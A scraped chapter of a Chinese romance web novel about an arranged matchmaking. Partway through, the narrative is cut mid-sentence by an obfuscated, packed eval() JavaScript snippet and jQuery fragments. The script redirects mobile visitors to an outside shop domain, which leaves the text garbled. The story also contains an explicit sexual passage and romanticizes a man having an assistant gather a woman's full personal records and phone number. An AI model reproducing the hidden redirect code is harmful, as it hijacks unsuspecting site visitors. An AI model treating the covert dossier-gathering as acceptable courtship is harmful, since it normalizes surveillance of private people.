文趣网 > 都市小说 > 婚后矜持 > 2. 暗恋
    一大早,薛灵睁眼就看到薛语斓的消息。

    那条朋友圈发出后,才三天就收到不少男嘉宾投递简历,妈妈很得意,全打印了出来,厚厚一沓拿在手里,拍了张照发给她,和她说,吃完早饭陪她好好挑挑。

    吓得薛灵睡意全无,想从家里溜走,又在门口被保镖堵回去。

    她面无表情折返。

    她很可怜,厚厚一沓男嘉宾也很可怜。

    他们可能和她一样,不是自己乐意的,而是窝囊地被家里人安排来摆弄去,没有一点隐私,大头照和个人简历恨不得洒给全世界。

    保姆陪着孩子在玩具房玩,薛灵和妈妈在客厅对峙。

    “话别说太满,我辛苦整理的,你好歹看看。”

    薛语斓把一沓资料拿给她。

    薛灵很生气,她们已经吵了很久,妈妈根本不把她的话听进脑子里。

    “都说了我不看!我不想结婚,不想留在云城,你一定要逼我吗?”

    “这不是逼你,你一眼不看,让我怎么接受?起码翻一下,万一就有喜欢的。”

    薛语斓说着就强行往她手里塞,薛灵急了,忍不住地带上哭腔。

    “你能不能尊重我一下!这不是我的家,我在这里待着很不舒服,和程叔叔相处也很尴尬……我这辈子都不会结婚的!”

    说着,猛地一扬手,打掉了她手里的资料。

    “你要是真为我好,明天就放我走……”

    忽然,她顿住,盈满泪的双眼睁得极大。

    漫天纷乱的相亲简历中,一张帅脸就这么飘飘扬扬从她眼前荡过,落到了地上。

    薛灵用衣袖擦了擦泪,让视线不那么模糊,跟着蹲下去。

    薛语斓让她气得够呛,揉着脑袋栽到沙发上,半晌说不出话。

    薛灵一个人在外面,她根本不可能放心,这三年一直派人盯着。

    薛灵几乎宅死在家里,只顾闷头画画,作息日夜颠倒,也不出门交朋友,生病了一个人去医院,哪天出意外都没人知道。

    薛语斓急得团团转,这才强行把她抓回国,要把人留在眼皮子底下看着,能在云城安稳下来结婚当然是最好的。

    “你……”

    薛语斓试图退一步,可以先不相亲,但是不能再回去住她国外那个房子了。

    话没出口,一张纸就递到眼前,薛灵坐到她旁边,眼还红着,“这个。”

    竟然真有看上的,意外之喜。

    薛语斓瞥向男方的个人资料栏,轻轻眯起眼。

    还挺会挑。

    *

    爸妈来天行拜访时,徐景濯正在会议室和团队头脑风暴。

    一圈人都是多年好友,喝着小酒,微醺状态讲话最大胆,一个一个新点子就这么碰撞出来。

    最近格外不顺,项目进度已经卡了一个月,整个团队气氛沉闷,喝再多酒都没燥起来。

    这时,有人叹息了一声,“瞬华在就好了,大才子,他那条鱼一进来,水就活了。”

    徐景濯正在平板上浏览竞品游戏社区寻找灵感,听到那个名字,眼都没抬,冷声道:“再提他滚蛋。”

    “不是……你俩当年到底什么事儿啊?玩那么多年,突然就断了。”

    徐景濯不说。

    另一人插话,回忆道:“我记得是文瞬华谈恋爱了吧,天天跟那女孩在一块,那时候开始就不跟咱们玩儿了,我撞见过几回,那姑娘长得挺俏,不太爱说话,好像是美院的……”

    一罐没开封的酒兜头砸来,那人惊险接住,感应到他飙升的怒意,急忙安抚,“别,老大,我闭嘴,不提姓文的了。”

    徐景濯拨了几下屏幕,心里烦躁得浏览不了任何信息,重重放下平板,冷声说:“没谈。”

    那人没反应过来,“什么?”

    他重复,“文瞬华当年,和美院那姑娘没谈。”

    “不能吧,他俩走那么近,当年论坛不还有不少爆贴吗?”

    “这么说我也想起来了,哪回校园情侣盘点都有他俩,大热cp啊。”

    “啧啧,我还有点怀念那些帖子呢,后来也不知道被哪个缺德的黑了,整个论坛都遭殃。”

    他们七嘴八舌地聊起从前,徐景濯不爱听,踢开椅子出门透气,恰好和会议室外准备敲门的爸妈碰上面。

    他带上会议室门,隔绝里面声音,“来查岗?”

    妈妈把手里的半杯冰咖啡给他,“查什么岗,儿子年轻有为,我五十不到就退休享福,才不给自己找事。”

    徐景濯从她手里接过那半杯咖啡,塞给一旁的男人,“又把喝剩的给我,这福气不是你老公的吗。”

    “你爸都喝三杯了,”霍舒翻了个白眼,在休息区的沙发上坐下,“亲妈都嫌弃,以后结婚怎么办,老婆剩的你吃不吃?”

    他轻嗤,“结婚又不是非得吃剩饭,老婆没长手,吃不完不会扔?”

    说着,肘了下旁边闷不吭声喝咖啡的男人,“是吧徐董,早二十年就该给家里立规矩,现在也不迟,拿出你的态度。”

    他指指垃圾桶,“喏。”

    徐秉安凉笑,“挑事别带上我,我吃你妈三十年剩饭,这就是我的态度。”

    “没救了。”

    结个婚连人格都能背叛,徐景濯怜悯地看他一眼,在临近的沙发上坐下,长腿勾来椅子,随意地搭上,勾出藏在衬衫里面的实心龙骨链玩。

    “不查岗找我什么事儿?忙着呢。”

    徐秉安下意识蹙眉,“注意规矩。”

    他上午和集团的高层领导有会,穿着还算正经,只是坐没坐相,生生把白衬黑裤穿出一身落拓不羁的气质。

    徐景濯挑了下唇,没说话。

    游戏作为集团近年的主力业务,天行在总部园区独占三栋大楼。

    终启是家族的,高层利益盘根错节,有不少规矩管束,天行则是徐总个人的,这儿是最不用守规矩的地方。

    霍舒滑着手机屏幕,“我前阵子翻朋友圈,看见一个女孩……”

    “不考虑,”徐景濯都不用听她说完,熟练地拒绝,“先立业后成家,不把集团业务扩张到全宇宙,我没办法安心结婚。”

    简而言之,这辈子算了,下辈子再说。

    霍舒扫了眼他左手代表独身的尾戒,“我还没说完呢,你急什么,我看这女孩很眼熟,我记得在你家见过一张照片……”

    “妈,你要是骗我,”他盯着霍舒的手机背面,低声说,“我就把你返聘回来上班。”

    霍舒把手机递给他,“你自己看吧。”

    只看小图,徐景濯都一眼锁定照片里的女孩,她看向镜头,唇角挂着礼貌疏离的浅笑。

    他盯着手机屏幕看了快有三分钟,面上没什么明显的表情。

    霍舒试探着问:“怎么样?虽然有竞争,但是咱们家条件好,妈给你争取争取。”

    “我跟她不合适,”徐景濯淡声说,“算了。”

    目光始终在照片上没挪开。

    徐秉安把喝完的空杯丢进垃圾桶,从他手里抽出手机,扔还给霍舒,“那就算了。”

    霍舒惋惜地叹了口气,跟着重复,“那就算了,本来还给你占着相亲名额呢,我这就取消掉,不耽误人家相看其他男人,说不定下个月就能喝到喜酒了。”

    说着,暗中观察徐景濯。

    却见他盯着空气沉默两秒,无谓勾了下唇,“嗯。”

    *

    薛语斓正在客厅沙发上逗孩子,霍舒的电话打了过来,和她抱歉。

    “不好意思啊语斓,景濯那边……”

    只听她这开头,薛语斓就立刻把外放关掉,拿起手机接听,不满道:“怎么回事啊,不是你先说你儿子有意向吗?现在我们看上他,他倒不乐意见面了。”

    “霍姐,这话你自己敢听吗?面都没见怎么知道不合适,一开始就觉得不合适你别找我们呀!”

    “不是我急,是你们……”

    她正跟霍舒争论,不经意抬眼,发现薛灵正趴在二楼围栏上看。

    她立刻结束聊天,“行了,就这样吧霍姐,就当没这事儿,别往外说啊。”

    面都没见就被拒,任谁心里也不舒服,薛语斓抬头看着她,委婉道:“再看看别的?”

    薛灵摇头。

    “那就先不相亲了,你在家好好休息,过两天带你出去玩。”

    薛灵没说话,转身回了房间。

    薛语斓叹气,感觉手臂被摇动了一下,垂眸看,小女儿眨着大眼睛,说想上楼陪姐姐玩。

    薛语斓想了想,叫来保姆送她,拨了拨她的小辫说:“姐姐要是赶你,你再下来。”

    被拒绝了薛灵也没多伤心,甚至有点放松,不然那点无所谓的期待总是弄得人心里很乱。

    暗恋对象本来就是很遥远很虚幻的存在,得不到才是正常的。

    回房间发了一分钟呆,电脑消息闪动,几个插画商单找上门,报价都很可观。

    她估算了一下未来的工作排期,在力所能及的范围内全部接下。

    反正闲着也是闲着,她可以一整天什么都不干只画画。

    婚结不结无所谓,钱不能不赚。

    门这时被敲响,保姆送了程霏来她房里,小女孩刚进来就跑到电脑前,神神秘秘从兜里掏出一张被折叠成小方块的纸。

    薛灵转了下电脑椅,面向她,疑惑地低下头看。

    纸被完全展开,是徐景濯的相亲简历。

    又看到这张脸,薛灵的视线情不自禁被吸引过去。

    真帅,无死角,证件照都这么绝。

    程霏抓着那张满是折痕的纸,朝她张开双手,“抱抱,姐姐。”

    薛灵调整了电脑屏幕,让她不正对蓝光,俯身抱她到腿上。

    她改不了看到徐景濯就手痒的毛病,在数位板上随手画了几条线,勾出他证件照的正脸轮廓,期间问程霏,“为什么拿这个过来?”

    “姐姐是被拒绝了吗?”

    “谁教你说这种话的,姐姐不喜欢听。”

    “爸爸说,不要怕被拒绝,”程霏指着徐景濯个人资料栏的电话号码,“任何事,都可以争取,两遍,三遍,好多遍。”

    薛灵画画的手一顿,垂眸看了眼,又把视线移回屏幕,“不要。”

    “姐姐不敢吗?”

    “嗯。”

    程霏鼓励她,“勇敢的人,先享受。”

    “我已经在享受了。”

    薛灵只画他也能画个爽,没那个胆子去自取其辱。

    程霏不说话了,把纸规规整整叠好,放到桌上,电话号码就露在外面,朝着薛灵的眼。

    *

    华熙湾,市中心寸土寸金的别墅区,那座千平独栋楼王是谁在住,无人不知。

    毕竟手里握着亿万家财,徐总有这么座豪宅不引人稀奇。

    只是整个云城都知道,徐家家规森严,老太太霸道固执,说一不二,家里所有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762242|209625||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    小辈,包括徐景濯爸妈在内,都必须统一住在庄园老宅,一家人热热闹闹陪着老人家共享天伦。

    老太太在圈子里名望很高,圈里各家长辈全都敬她几分,自家孩子们更是严守她的规矩。

    几十年来,也就徐景濯一个顺利从她的手掌心钻出来独住。

    没规矩禁锢得了他,他自己就是规矩。

    别墅上下四层,院落辽阔,除了定时上门打扫的钟点工外,就只住着徐总、他的狗和一位职业管家。

    最近几天都是白天下雨,晚上放晴,入夜的华熙湾很安静,月朗星稀,别墅顶层露台高度足够,可以把远处夜景尽收眼底。

    十点钟不算晚,独身的年轻男人遛完狗洗完澡,倒半杯酒,带电脑和几本工具书到露台,亮盏小灯,学习工作,只等酒意上来,大脑疲倦,回卧室睡觉。

    今天也一样,和以往没有分别的一个晚上,男人坐在露营椅上,身体闲适地后仰,喝着酒远眺天边浓稠夜色。

    他已经学习完,工作完,甚至酒都快喝完,只等困意袭来睡觉。

    还是有一点不一样,和以往比起来,桌上多了一张照片。

    夏日,校园小径的长椅上,戴着白色有线耳机的女孩微微向右歪头,对着身旁的空气人笑,她刚摘下右耳的耳机,正准备为右边的空气人戴上。

    空气人自然不是空气,只不过被人为地P掉了,这样一来,照片的画面里就只有女孩一个人。

    照片的左上角夹着一只橘色小鸟发卡。

    发卡的颜色实在太亮,男人放酒杯时不经意侧目,视线就又被吸引过去。

    为有一个好睡眠,今晚刻意喝的烈酒,他昏沉的脑袋向后仰,左手拿那张照片到眼前,对着天看。

    月亮和星星在眼里虚化,冷银尾戒折射灯光,危险地闪烁,提醒他酒意上头了,警告他,放下照片。

    警告无效。

    没人管得了他,即便是清醒时的他自己。

    视线一寸寸扫过照片里的女孩,她的短裙,她的笑,她露在外面的手臂和小腿,和那难以忽略的,摘戴耳机的动作。

    她身旁是有人的,她在和那个人互动。

    即便P图的人技术十分高超,把那一部分完全P成空气,也抹除不了对方的存在。

    那团空气不断提醒着收藏这张照片的人,他有多么好笑。

    男人洗完澡穿简单黑T,宽松的居家裤。

    右手掌心温热,没什么阻碍便轻松握触,伴着喉结滚动,一声难抑的低喘从喉腔溢出。

    尾戒的光也在眼底虚化,他只看得到照片,身体中蛰伏许久的,难言的瘾症已经被尽数勾起。

    先天精力旺盛的人永远不会只在一个领域强大,他在学习工作上利用这一优势,就不可避免要在欲望上遭受它的折磨。

    不起念还好,心念一动,就一发不可收拾。

    他当然了解自己,自给自足的握触都几乎掌控不住,他从未满足,不知道临界何在,要是照片里的女孩来承受,怕是会被吓哭,弄坏,留下阴影。

    良久无声,只有男人压抑的闷喘回荡在夜色中。

    不清楚几次了。

    不够。

    他亲吻那张照片,薄唇碰触左上角的小鸟,炽热吐息尽数喷洒而上,无形地将女孩包围。

    不够。

    他喊她的名字,想象她怎样回应,怎样笑,怎样和他分享单边耳机。

    不够。

    他们从未有过交集,这样不切实际的想象触动不了他。

    他需要一个活生生的,有自主意识的她。

    桌上的手机振动,是助理发来消息。

    【查完了,徐总。】

    【[PDF]】

    他点进去,里面是女孩从出生至今,包括电话号码在内的全部信息。

    “啧。”

    他身体的注意力集中在掌心,脑子已经昏乱到忘记什么时候吩咐过助理查这些,清醒状态的他竟然也干得出这种事。

    真够变态。

    *

    薛灵和程霏玩了一下午,她非要留下睡觉,薛灵只好让了一半床出来。

    大灯关闭,只留小灯,程霏在床上睡,薛灵不困,坐在飘窗前远眺夜景。

    一个陌生号码就是在这时打进来。

    也不算完全陌生,归功于程霏高超的折纸水平,薛灵在电脑前坐着,一低头就能看到那串号码,即便努力忽略,也几乎快要背下来。

    她直起身体,不可置信地盯着手机屏幕,怀疑自己是不是在飘窗前睡着了,灵魂出窍乱做梦。

    第一通电话她怔着,没接。

    对方锲而不舍,第二次打来。

    这次薛灵才有了实感,深呼一口气,按下接通。

    这么晚了,对方似乎也没想到她能接,许久没说话,只有双方陌生的呼吸透过听筒交织。

    薛灵把听筒覆到耳朵上,想仔细听一下,猝不及防一声闷叹闯进耳朵。

    那是属于男人的磁性音色,薛灵把听筒放得很近,简直就像响在耳边。

    大脑瞬间过了电,湍急的电流又紧随其后爬满全身,呼吸不受控制地粗重了几分,也在这一刻给予她莫大的刺激和勇气,要主动张口打招呼。

    “薛小姐。”

    刚张开嘴,对面男人就讲话了,刻意压了声,语气平稳礼貌,却如何都掩不住乱序的呼吸和蕴潜其中的沙哑性感。

    “方便的话,见一面。”